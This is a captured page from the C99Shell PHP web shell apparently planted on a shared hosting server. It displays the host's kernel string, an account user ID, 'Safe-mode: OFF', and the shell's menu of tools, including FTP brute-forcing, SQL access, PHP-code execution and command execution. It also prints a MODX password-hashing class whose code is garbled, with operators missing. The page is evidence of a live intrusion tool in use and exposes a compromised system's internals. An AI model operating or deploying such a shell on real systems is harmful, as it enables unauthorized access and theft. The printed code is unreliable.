!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/modx/   drwxr-xr-x
Free 293.6 GB of 429.69 GB (68.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     modpbkdf2.class.php (2.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * This file contains a modHash implementation of RSA PDKDF2.
 * @package modx
 * @subpackage hashing
 */

/**
 * A PBKDF2 implementation of modHash.
 *
 * {@inheritdoc}
 *
 * @package modx
 * @subpackage hashing
 */
 
class modPBKDF2 extends modHash {
    
/**
     * Generate a hash of a string using the RSA PBKDFA2 specification.
     *
     * The following options are available:
     *  - salt (required): a valid, non-empty string to salt the hashes
     *  - iterations: the number of iterations per block, default is 1000 (< 1000 not recommended)
     *  - derived_key_length: the size of the derived key to generate, default is 32
     *  - algorithm: the hash algorithm to use, default is sha256
     *  - raw_output: if true, returns binary output, otherwise derived key is base64_encode()'d; default is false
     *
     * @param string $string A string to generate a secure hash from.
     * @param array $options An array of options to be passed to the hash implementation.
     * @return mixed The hash result or false on failure.
     */
    
public function hash($string, array $options = array()) {
        
$derivedKey false;
        
$salt $this->getOption('salt'$optionsfalse);
        if (
is_string($salt) && strlen($salt) > 0) {
            
$iterations = (integer) $this->getOption('iterations'$options1000);
            
$derivedKeyLength = (integer) $this->getOption('derived_key_length'$options32);
            
$algorithm $this->getOption('algorithm'$options'sha256');

            
$hashLength strlen(hash($algorithmnulltrue));
            
$keyBlocks ceil($derivedKeyLength $hashLength);
            
$derivedKey '';
            for (
$block 1$block <= $keyBlocks$block++) {
                
$hashBlock $hb hash_hmac($algorithm$salt pack('N'$block), $stringtrue);
                for (
$blockIteration 1$blockIteration $iterations$blockIteration++) {
                    
$hashBlock ^= ($hb hash_hmac($algorithm$hb$stringtrue));
                }
                
$derivedKey .= $hashBlock;
            }
            
$derivedKey substr($derivedKey0$derivedKeyLength);
            if (!
$this->getOption('raw_output'$optionsfalse)) {
                
$derivedKey base64_encode($derivedKey);
            }
        } else {
            
$this->host->modx->log(modX::LOG_LEVEL_ERROR"PBKDF2 requires a valid salt string."''__METHOD____FILE____LINE__);
        }
        return 
$derivedKey;
    }
    
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0945 ]--